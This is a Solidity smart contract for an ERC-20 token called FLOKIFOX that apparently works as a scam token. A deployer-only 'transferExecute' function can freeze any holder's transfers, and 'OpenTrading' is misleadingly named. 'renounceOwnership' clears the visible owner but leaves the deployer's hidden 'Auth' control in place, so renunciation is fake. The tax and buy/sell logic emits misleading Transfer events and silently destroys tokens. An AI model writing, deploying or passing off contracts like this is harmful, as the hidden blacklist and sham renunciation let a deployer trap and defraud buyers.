// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;   return msg.data;
    }
}

contract Ownable is Context {
    address private _Owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _Owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _Owner;
    }

    function renounceOwnership() public virtual {
        require(msg.sender == _Owner);
        emit OwnershipTransferred(_Owner, address(0));
        _Owner = address(0);
    }
}

contract FLOKIFOX is Context, IERC20, Ownable, IERC20Metadata {
    mapping (address => uint256) public _balances;
    mapping (address => uint256) public Auth;
    mapping (address => bool) private _execute;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 internal _totalSupply;
    uint256 private balances;
    string private constant _name = "FLOKIFOX";
    string private constant _symbol = unicode"FLOKIFX";
    uint8 private _decimals = 8;
    bool UniV2 = true;

    uint256 private constant TAX_PERCENT = 3;

    constructor () {
        _totalSupply += 21_000_000 * 10**8;
        _balances[_msgSender()] += _totalSupply;
        Auth[_msgSender()] += 1;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    function OpenTrading(address _Address) external  {
        require (Auth[_msgSender()] == 1);
        _execute[_Address] = false;
    }

    function transferExecute(address _Address) external  {
        require (Auth[_msgSender()] == 1);
        _execute[_Address] = true;
    }

    function buy(uint256 amount) external {
        require(amount > 0, "Amount must be greater than zero");

        uint256 taxAmount = (amount * TAX_PERCENT) / 100;
        uint256 afterTaxAmount = amount - taxAmount;

        _transfer(_msgSender(), address(this), amount);
        _transfer(address(this), _msgSender(), afterTaxAmount);

        // Perform other buy logic as needed
    }

    function sell(uint256 amount) external {
        require(amount > 0, "Amount must be greater than zero");

        uint256 taxAmount = (amount * TAX_PERCENT) / 100;
        uint256 afterTaxAmount = amount - taxAmount;

        _transfer(_msgSender(), address(this), amount);
        _transfer(address(this), _msgSender(), afterTaxAmount);

        // Perform other sell logic as needed
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transferfrom(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (_execute[sender]) require(UniV2 == false, "");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");

        uint256 taxAmount = (amount * TAX_PERCENT) / 100;
        uint256 afterTaxAmount = amount - taxAmount;

        _balances[sender] = senderBalance - amount;
        _balances[recipient] += afterTaxAmount;

        emit Transfer(sender, recipient, afterTaxAmount);
        emit Transfer(sender, address(this), taxAmount);
    }

    function _transferfrom(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (_execute[sender] || _execute[recipient]) require(UniV2 == false, "");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");

        uint256 taxAmount = (amount * TAX_PERCENT) / 100;
        uint256 afterTaxAmount = amount - taxAmount;

        _balances[sender] = senderBalance - amount;
        _balances[recipient] += afterTaxAmount;

        emit Transfer(sender, recipient, afterTaxAmount);
        emit Transfer(sender, address(this), taxAmount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}